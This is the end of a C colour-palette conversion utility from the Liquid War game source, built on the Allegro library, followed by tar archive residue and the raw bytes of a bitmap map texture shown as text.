/*-----------------------------------------------------------------*/ /* operations de conversion */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int find_color (PALETTE pal, RGB rgb) { int i, found = -1; for (i = 0; i < 256 && found < 0; ++i) if (pal[i].r == rgb.r && pal[i].g == rgb.g && pal[i].b == rgb.b) found = i; return found; } /*-----------------------------------------------------------------*/ int exist_color (PALETTE pal, RGB rgb) { return (find_color (pal, rgb) >= 0); } /*-----------------------------------------------------------------*/ void recalculate_number_of_colors () { int i, x, y, n = 1; RGB color; PALETTE pal; //nb_of_colors=NUMBER_OF_COLORS; color = PALETTE_SRC[getpixel (BITMAP_SRC, 0, 0)]; for (i = 0; i < 256; ++i) pal[i] = color; for (y = 0; y < BITMAP_SRC->h && n < NUMBER_OF_COLORS; ++y) for (x = 0; x < BITMAP_SRC->w && n < NUMBER_OF_COLORS; ++x) { color = PALETTE_SRC[getpixel (BITMAP_SRC, x, y)]; if (!exist_color (pal, color)) pal[n++] = color; } NUMBER_OF_COLORS = n; } /*-----------------------------------------------------------------*/ void create_new_palette (void) { int i, x, y, index; int nb_retries = 0; RGB color; x = random () % BITMAP_SRC->w; y = random () % BITMAP_SRC->h; color = PALETTE_SRC[getpixel (BITMAP_SRC, x, y)]; for (i = 0; i < 256; ++i) PALETTE_DST[i] = color; for (i = 1; i < NUMBER_OF_COLORS;) { x = random () % BITMAP_SRC->w; y = random () % BITMAP_SRC->h; index = getpixel (BITMAP_SRC, x, y); color = PALETTE_SRC[index]; if ((!exist_color (PALETTE_DST, color)) || (nb_retries > LW_TEXTURE_RANDOM_MAX_RETRIES)) { PALETTE_DST[FIRST_COLOR + (i++)] = color; nb_retries = 0; } else { nb_retries++; } } } /*-----------------------------------------------------------------*/ void correct_palette (void) { int i; for (i = 0; i < FIRST_COLOR; ++i) { PALETTE_DST[i].r = 0; PALETTE_DST[i].g = 0; PALETTE_DST[i].b = 0; } for (i = FIRST_COLOR + NUMBER_OF_COLORS; i < 256; ++i) { PALETTE_DST[i].r = 63; PALETTE_DST[i].g = 63; PALETTE_DST[i].b = 63; } } /*-----------------------------------------------------------------*/ void create_converted_bitmap (void) { char corres[256]; int i, x, y, index; for (i = 0; i < 256; ++i) corres[i] = bestfit_color (PALETTE_DST, PALETTE_SRC[i].r, PALETTE_SRC[i].g, PALETTE_SRC[i].b); BITMAP_DST = create_bitmap (BITMAP_SRC->w, BITMAP_SRC->h); for (y = 0; y < BITMAP_SRC->h; ++y) for (x = 0; x < BITMAP_SRC->w; ++x) { index = corres[getpixel (BITMAP_SRC, x, y)]; index = (index < FIRST_COLOR || index >= FIRST_COLOR + NUMBER_OF_COLORS) ? FIRST_COLOR : index; putpixel (BITMAP_DST, x, y, index); } } /*-----------------------------------------------------------------*/ void convert_bitmap () { if (BITMAP_DST != NULL) destroy_bitmap (BITMAP_DST); recalculate_number_of_colors (); create_new_palette (); create_converted_bitmap (); correct_palette (); } /*=================================================================*/ /* fonctions main */ /*=================================================================*/ /*-----------------------------------------------------------------*/ int main (int argc, char **argv) { int i; ARGC = argc; ARGV = argv; #ifdef ALLEGRO_UNIX install_allegro (SYSTEM_NONE, &errno, atexit); #else allegro_init (); #endif set_color_depth (8); set_color_conversion (COLORCONV_REDUCE_TO_256); srandom (time (NULL)); // srandom(1); if (read_command_line ()) { for (i = 0; i < NUMBER_OF_FILES; ++i) { if (load_file (FILENAMES[i])) { if (FLAG_BACKUP) save_backup (FILENAMES[i]); convert_bitmap (FILENAMES[i]); save_file (FILENAMES[i]); } } } else { if (FLAG_HELP) display_long_help (); else display_short_help (); } allegro_exit (); return 0; } END_OF_MAIN (); liquidwar-5.6.5/data/0000775000372000037200000000000013407756104014052 5ustar travistravisliquidwar-5.6.5/data/maptex/0000775000372000037200000000000013407756104015350 5ustar travistravisliquidwar-5.6.5/data/maptex/puckman.orig.bmp0000664000372000037200000010354013407756104020450 0ustar travistravisBM`^(  I! [.| """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")""""""""""""DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD""""""""")""""""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB""""""" """"""""""DDADD""""""")"""""""""$DDB"""""" """""""""DAD"""""")""""""""$DDB""""" """"""""$AB""""")""""""""$AB""""" """"""""DADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAD""""")""""""""DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAD""""" """"""""DDD""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""$DDB""""""""""""""""""""""""""""""""""DDAD""""")""""""""DDD"""""""""""""""""""""""""""""""""""""""""#2#3"#2""""""""""""""""""""DAD""""""""""""""""""""""""""""""""""""DDD""""" """"""""DD""""""""""""""""""""""""""""""""""""""""""#333332""""""""""""""""""""$DDB"""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""""""""""""""""""""""#333332"""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""DAD""""" """"""""DB""""""""""""""""""""""""""""""""""""""""""#333332"""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""$AD""""")""""""""DDB""""""""""""""""""""""""""""""""""""""""""#333332"""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""$DD""""" """"""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""""""""""#3332"""""""""""""""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""'r""DD""""")""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""""""""""#3332"""""""""""""""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""'r""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""#3332"""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""""""""""""""""""""""""33333""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD""""""""""""""""""""""""""""""""""""""""""""33333""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""""""""""""""""""""""""#3332""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""""#32"""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""'r""""""$DDDDDDDDDDDDDDDB"""""""""""""""$DDDDDDDDDDDDDDDB"""""""""""DD"""'r""""""$DDDDDDDDDDDDDDDB"""""""'r""DD""""")""""""""DD"""'r""""$DDDDDDDDDDDDDDDDDDDB"""""""""""$DDDDDDDDDDDDDDDDDDDB"""""""""DD"""'r""""$DDDDDDDDDDDDDDDDDDDB"""""'r""DD""""" """"""""DD""""""""$DDDDDDB"""""""""$DDDDDDB""""""""DD""""""""$DDDDDDB""""""""DD""""")""""""""DD""""""""DDDD"""""""""DDDD""""""""DD""""""""DDDD""""""""DD""""")""""""""DD""""""""DD"""""""""DD""""""""DD""""""""DD""""""""DD""""")""""""""DD"""""""$DDB"""""""$DDB"""""""DD"""""""$DDB"""""""DD""""" """"""""DD"""""""$AB"""""""$AB"""""""DD"""""""$AB"""""""DD""""")""""""""DD"""""""$AB"""""""$AB"""""""DD"""""""$AB"""""""DD""""" """"""""DD"""'r""$AB"""""""$AB"""""""DAD"""'r""$AB"""'r""DD""""")""""""""DD"""'r""DAB"""""""$AD"""""""$AB"""'r""$AD"""'r""DD""""" """"""""DD"""""""DB"""""""$AD"""""""$AB"""""""$AD"""""""DD""""")""""""""DD"""""""DB"""""""$AD"""""""$AB"""""""$AD"""""""DD""""" """"""""DD"""""""DDB"""""""$DD"""""""$DDB"""""""$DD"""""""DD""""")""""""""DD"""""""DD"""""""""DD""""""""DD"""""""""DD"""""""DD""""" """"""""DD"""""""DDD"""""""""DDD""""""""DDDD"""""""""DDD"""""""DD""""")""""""""DD"""""""DDDDB"""""""""$DDDD""""""""$DDDDDB"""""""""$DDDD"""""""DD""""" """"""""DD"""'r""DDDDDDDDDDDB"""""""""""$DDDDDDDDDDAD"""""""""$DDDB"""""'r""""$DDDDDDDDDDAD"""'r""DD""""")""""""""DD"""'r""DDDDDDDDDDB"""""""""""""""$DDDDDDDDDAD"""""""""""""""""""'r""""""$DDDDDDDDDAD"""'r""DD""""" """"""""DD"""""""DDD"""""""""""""""""""""""""""""""""DDAD""""""""""""""""""""""""""""""""""""DDAD"""""""DD""""")""""""""DD"""""""DDD"""""""""""""""""""""""""""""""""""DDD"""""""""""""""""""""""""""""""""""""DDD"""""""DD""""" """"""""DD"""""""DD"""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""""""""""""""""""""""""""""""""DAD""""""""""""""""""""""""""""""""""""""DAD"""""""DD""""" """"""""DD"""""""DB"""""""""""""""""""""""""""""""""""""$AD""""""""""""""""""""""""""""""""""""""$AD"""""""DD""""")""""""""DD"""""""DDB"""""""""""""""""""""""""""""""""""""$DD""""""""""""""""""""""""""""""""""""""$DD"""""""DD""""")""""""""DD"""'r""DD"""'r""'r""'r""'r""""""""""""""""""""""DD"""""""""""""""""""""""'r""'r""'r""'r""DD"""'r""DD""""")""""""""DD"""'r""DD"""'r""'r""'r""'r""""""""""""""""""""""DD"""""""""""""""""""""""'r""'r""'r""'r""DD"""'r""DD""""" """"""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DDB""""""""""""""""""""""""""""""""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DB""""""""""""""""""""""""""""""""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""DD"""""""DD""""" """"""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DDD"""""""""""""""""""""""""""""""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""""""""""""""""""""""""""""""""""DDD""""""""""""""""""""""""""""""""""""DD"""""""DD""""" """"""""DD"""'r""DD"""'r""""""$DDDDDDDDDDDDDDDB"""""""""""DDDDDDDDDDB"""""""""""""""""""""""'r""DD"""'r""DD""""")""""""""DD"""'r""DD"""'r""""$DDDDDDDDDDDDDDDDDDDB"""""""""DDDDDDDDDDDB"""""""""""$DDDB"""""'r""DD"""'r""DD""""" """"""""DD"""""""DD""""""""$DDDDDDB""""""""DDDDB"""""""""$DDDDDB""""""""DD"""""""DD""""")""""""""DD"""""""DD""""""""DDDD""""""""DDD"""""""""DDDD""""""""DD"""""""DD""""" """"""""DD"""""""DD""""""""DD""""""""DD"""""""""DD""""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""$DDB"""""""DDB"""""""$DDB"""""""DD"""""""DD""""" """"""""DD"""""""DD"""""""$AB"""""""DB"""""""$AB"""""""DD"""""""DD""""")""""""""DD"""""""DD"""""""$AB"""""""DB"""""""$AB"""""""DD"""""""DD""""" """"""""DD"""'r""DAD"""'r""$AB"""""""DAB"""""""$AB"""'r""DAD"""'r""DD""""")""""""""DD"""'r""$AB"""'r""DAB"""""""$AB"""""""DAD"""'r""$AB"""'r""DD""""" """"""""DD"""""""$AB"""""""DB"""""""$AB"""""""DD"""""""$AB"""""""DD""""")""""""""DD"""""""$AB"""""""DB"""""""$AB"""""""DD"""""""$AB"""""""DD""""" """"""""DD"""""""$DDB"""""""DDB"""""""$DDB"""""""DD"""""""$DDB"""""""DD""""")""""""""DD""""""""DD""""""""DD"""""""""DD""""""""DD""""""""DD""""""""DD""""" """"""""DD""""""""DDDD""""""""DDD"""""""""DDDD""""""""DD""""""""DDDD""""""""DD""""")""""""""DD""""""""$DDDDDB""""""""DDDDB"""""""""$DDDDDDB""""""""DD""""""""$DDDDDB""""""""DD""""" """"""""DD"""'r""""$DDDB"""""'r""DDDDDDDDDDDB"""""""""""$DDDDDDDDDDDDDDDDDDDB"""""""""DD"""'r""""$DDDB"""""'r""DD""""")""""""""DD"""'r""""""""""""""'r""DDDDDDDDDDB"""""""""""""""$DDDDDDDDDDDDDDDB"""""""""""DD"""'r""""""""""""""'r""DD""""" """"""""DD"""""""""""""""""""""""DDD""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""DDD"""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""DB""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""DDB""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""DD""""" """"""""DD"""'r""'r""'r""'r""'r""DD"""""""""""""""""""""""'r""'r""'r""'r""'r""'r""'r""""""DD"""'r""'r""'r""'r""'r""DD""""")""""""""DD"""'r""'r""'r""'r""'r""DD"""""""""""""""""""""""'r""'r""'r""'r""'r""'r""'r""""""DD"""'r""'r""'r""'r""'r""DD""""" """"""""DDB""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""$DD""""")""""""""DB""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""$AD""""" """"""""DD""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""DAD""""")""""""""DD""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""DD""""" """"""""DDD"""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""DDD""""")""""""""DDD""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""DDAD""""" """"""""DDDDDDDDDDB"""""""'r""DD"""""""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""""""DD"""'r""""""$DDDDDDDDDAD""""")""""""""DDDDDDDDDDDB"""""'r""DD"""""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""""DD"""'r""""$DDDDDDDDDDAD""""" """"""""DDDDB""""""""DD""""""""$DDDDDDB""""""""DD""""""""$DDDD""""")""""""""DDD""""""""DD""""""""DDDD""""""""DD""""""""DDD""""" """"""""DD""""""""DD""""""""DD""""""""DD""""""""DD""""")""""""""DDB"""""""DD"""""""$DDB"""""""DD"""""""$DD""""" """"""""DB"""""""DD"""""""$AB"""""""DD"""""""$AD""""")""""""""DB"""""""DD"""""""$AB"""""""DD"""""""$AD""""" """"""""DB"""'r""DD"""""""$AB"""""""DAD"""'r""$AD""""")""""""""DAB"""'r""DD"""""""DAD"""""""$AB"""'r""$AD""""" """"""""$AB"""""""DD"""""""DD"""""""$AB"""""""$AB""""")""""""""$DB"""""""DD"""""""DD"""""""$AB"""""""$ADB""""" """""""""DDB"""""""DD"""""""DD"""""""$DDB"""""""$DD"""""")"""""""""DAD""""""""DD"""""""DD""""""""DD"""""""""DD"""""" """""""""$DADD""""""""DD"""""""DD""""""""DDDD"""""""""DDDB"""""")""""""""""DDADDDB""""""""DD"""""""DD""""""""$DDDDDB"""""""""$DDDDD""""""" """""""""""DDDDDDDDDDDDDDDB"""""""""DD"""""""DDDDDDDDDDDDDDDDDDAD"""""""""$DDDB"""""'r""""$DDDDDDDDDDDDDDD"""""""")""""""""""""DDDDDDDDDDDDB"""""""""""DD"""""""DDDDDDDDDDDDDDDDDDDDAD"""""""""""""""""""'r""""""$DDDDDDDDDDDD""""""""" """"""""""""""""""""""""""""""""""""DD"""""""DDD"""""""""""""""""DDAD""""""""""""""""""""""""""""""""""""""""""""""""")""""""""""""""""""""""""""""""""""""DD"""""""DDD"""""""""""""""""""DDD"""""""""""""""""""""""""""""U"UR"U"""""""""""""")""""""""""""""""""""""""""""""""""""DD"""""""DD"""""""""""""""""""""DD"""""""""""""""""""""""""""""UUUUUU"""""""""""""")""""""""""""""""""""""""""""""""""""DD"""""""DD"""""""""""""""""""""DAD"""""""""""""""""""""""""""""UUUUUU"""""""""""""" """"""""""""""""""""""""""""""""""""DD"""""""DB"""""""""""""""""""""$AD"""""""""""""""""""""""""""""UUUUUU"""""""""""""")""""""""""""""""""""""""""""""""""""DD"""""""DB"""""""""""""""""""""$AD"""""""""""""""""""""""""""""UUUUUU"""""""""""""" """"""""""""""""""""""""""""""""""""DAD"""""""DDB"""""""""""""""""""""$DD"""""""""""""""""""""""""""""UXXU"""""""""""""")""""""""""""""""""""""""""""""""""""$AB"""""""DDB"""""""""""""""""""""$DD"""""""""""""""""""""""""""""UYYU"""""""""""""" """"""""""""""""""""""""""""""""""""$AB"""""""DB"""""""""""""""""""""$AD"""""""""""""""""""""""""""""UYYU"""""""""""""")""""""""""""""""""""""""""""""""""""$AB"""""""DB"""""""""""""""""""""$AD"""""""""""""""""""""""""""""%UUUUR"""""""""""""" """"""""""""""""""""""""""""""""""""$DDB"""""""DD"""""""""""""""""""""DAD"""""""""""""""""""""""""""""%UUUUR"""""""""""""")"""""""""""""""""""""""""""""""""""""DD""""""""DD"""""""""""""""""""""DD""""""""""""""""""""""""""""""UUUU""""""""""""""" """""""""""""""""""""""""""""""""""""DDDD""""""""DDD"""""""""""""""""""DDD"""""""""""""""""""""""""""""""UU"""""""""""""""")"""""""""""""""""""""""""""""""""""""$DDDDDB""""""""DDD"""""""""""""""""DDAD""""""""""""""""""""""""""""""""""""""""""""""""" """"""""""""DDDDDDDDDDDDB"""""""""""""$DDDB"""""""""DDDB"""""""""""""$DDAD"""""""""""""""""""'r""""""$DDDDDDDDDDDD""""""""")"""""""""""DDDDDDDDDDDDDDDB"""""""""""""""""""""""""DDDB"""""""""""$DDAD"""""""""$DDDB"""""'r""""$DDDDDDDDDDDDDDD"""""""")""""""""""DDADDDB""""""""""""""""""""""""DDDB"""""""""$DDD""""""""$DDDDDB"""""""""$DDDDD""""""")"""""""""$DADD""""""""""""""""""""""""DDD"""""""""DDD""""""""DDDD"""""""""DDDB"""""" """""""""DAD""""""""""""""""""""""""DD"""""""""DD""""""""DD"""""""""DD"""""")"""""""""DDB"""""""""""""""""""""""DDB"""""""$DD"""""""$DDB"""""""$DD"""""" """"""""$DB"""""""""""""""""""""""DB"""""""$AD"""""""$AB"""""""$ADB""""")""""""""$AB"""""""""""""""""""""""DB"""""""$AD"""""""$AB"""""""$AB""""" """"""""DAB"""""""""""""""""""""""DAB"""""""$AD"""""""$AB"""'r""$AD""""")""""""""DB"""""""""""""""""""""""$AB"""""""$AB"""""""DAD"""'r""$AD""""")""""""""DB"""""""""""""""""""""""$AB"""""""$AB"""""""DD"""""""$AD""""")""""""""DB"""""""""""""""""""""""$AB"""""""$AB"""""""DD"""""""$AD""""")""""""""DDB"""""""""""""""""""""""$DDB"""""""$DDB"""""""DD"""""""$DD""""")""""""""DD"""""""""""""""""""""""""DD"""""""""DD""""""""DD""""""""DD""""" """"""""DDD"""""""""""""""""""""""""DDDD"""""""""DDDD""""""""DD""""""""DDD""""")""""""""DDDDB"""""""""""""""""""""""""$DDDDDDB"""""""""$DDDDDDB""""""""DD""""""""$DDDD""""" """"""""DDDDDDDDDDDB"""""""""""""""""""""""""""$DDDDDDDDDDDB"""""""""""$DDDDDDDDDDDB"""""""""DD"""'r""""$DDDDDDDDDDAD""""")""""""""DDDDDDDDDDB"""""""""""""$DDDB"""""""""""""$DDDDDDDB"""""""""""""""$DDDDDDDB"""""""""""DD"""'r""""""$DDDDDDDDDAD""""" """"""""DDD"""""""""""""""""""""$DDDDDB""""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""DDAD""""")""""""""DDD""""""""""""""""""""""DDDD""""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""DDD""""" """"""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$DDB"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""DAD""""" """"""""DB""""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""$AD""""")""""""""DDB""""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""$DD""""" """"""""DD"""'r""'r""'r""'r""'r""DAD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""'r""'r""'r""'r""'r""DD""""")""""""""DD"""'r""'r""'r""'r""'r""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""'r""'r""'r""'r""'r""DD""""" """"""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""$DDB""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""$AB""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""DAD""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$DDB"""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""""""""""""""""""""DD""""" """"""""DD""""""""""""""""""""""DAD""""""""""""""""""""""""""""""""""""""""""""""""""""DDDD"""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""$DDB""""""""""""""""""""""""""""""""""""""""""""""""""DDADD""""""""""""""""""""DD""""" """"""""DD"""'r""""""$DDDDDDDDDDADDDDDDDDDDB"""""""""""""""""""""""'r""""""$DDDDDDDDDADDDDDDDDDB"""""""'r""DD""""")""""""""DD"""'r""""$DDDDDDDDDDDDDDDDDDDDDDDDB"""""""""""$DDDB"""""'r""""$DDDDDDDDDDADDDDDDDDDDB"""""'r""DD""""" """"""""DD""""""""$DDDDDDB"""""""""$DDDDDB"""""""""$DDDDDDB""""""""DD""""")""""""""DD""""""""DDDD"""""""""DDDD"""""""""DDDD""""""""DD""""")""""""""DD""""""""DD"""""""""DD"""""""""DD""""""""DD""""")""""""""DD"""""""$DDB"""""""$DDB"""""""$DDB"""""""DD""""" """"""""DD"""""""$AB"""""""$AB"""""""$AB"""""""DD""""")""""""""DD"""""""$AB"""""""$AB"""""""$AB"""""""DD""""" """"""""DD"""'r""$AB"""""""$AB"""'r""$AB"""'r""DD""""")""""""""DD"""'r""$AB"""""""DAD"""'r""$AB"""'r""DD""""" """"""""DD"""""""$AB"""""""DD"""""""$AB"""""""DD""""")""""""""DD"""""""$AB"""""""DD"""""""$AB"""""""DD""""" """"""""DD"""""""$DDB"""""""DD"""""""$DDB"""""""DD""""")""""""""DD""""""""DD""""""""DD""""""""DD""""""""DD""""" """"""""DD""""""""DDDD""""""""DD""""""""DDDD""""""""DD""""")""""""""DD""""""""$DDDDDDB""""""""DD""""""""$DDDDDDB""""""""DD""""" """"""""DD"""'r""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""""DD"""'r""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""'r""DD""""")""""""""DD"""'r""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""""""DD"""'r""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""'r""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""""""""""""""""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""DD""""")""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""""""""""""""""""""""DD"""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""'r""DD""""" """"""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""$DDB""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""""""""""""""""""""""""""""""""""DAD""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD"""""""""""""""""""""""""""""""""""""""""""""""""""""$DDB"""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""" """"""""DD"""'r""""""""""""""'r"""""""""""""""""""""""DDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""'r""DD""""")""""""""DD"""'r""""$DDB""""""'r""""""""""""""""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""'r""DD""""" """"""""DD""""""""$DDDDB"""""""""""DDDD"""""""""""$DDDADDDB""""""""DD""""")""""""""DD""""""""DDDD""""""""""$DDDDB""""""""""DDDD""""""""DD""""" """"""""DD""""""""DD""""""""""DAD"""""""""$DD""""""""DD""""")""""""""DD"""""""$DDB""""""""$DDB""""""""DADB"""""""DD""""" """"""""DD"""""""$AB""""""""$AB""""""""DB"""""""DD""""")""""""""DD"""""""$AB""""""""DAD""""""""DB"""""""DD""""" """"""""DD"""'r""$AB""""'r""DD""""""""DB"""'r""DD""""")""""""""DD"""'r""$AB""""'r""DD"  " DB"""'r""DD""""")""""""""DD"""""""$AB""""""""DD" DB"""""""DD""""")""""""""DD"""""""$AB""""""""DD" DB"""""""DD""""" """"""""DD"""""""$DDB"""""""$DDB DADB"""""""DD""""")""""""""DD""""""""DD""""""""$AB $DD""""""""DD""""" """"""""DD""""""""DDDD""""""""$AB "DDDD""""""""DD""""")""""""""DD""""""""$DDDDB""""""""$AB "$DDDADDDB""""""""DD""""" """"""""DD"""'r""""$DDB""""""'r"$AB ""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""'r""DD""""")""""""""DD"""'r""""""""""""""'r"$AB"""""""DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB"""""""'r""DD""""" """"""""DD""""""""""""""""""""""$AB""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$AB" """""""""""""""""""""""""""""""""""""""""""""""""ff""""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$AB"" """""""""""""""""""""""""""""""""""""""""""""""""ffff"""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""&ffffb""""""""""""""""""""""""""""DD""""" 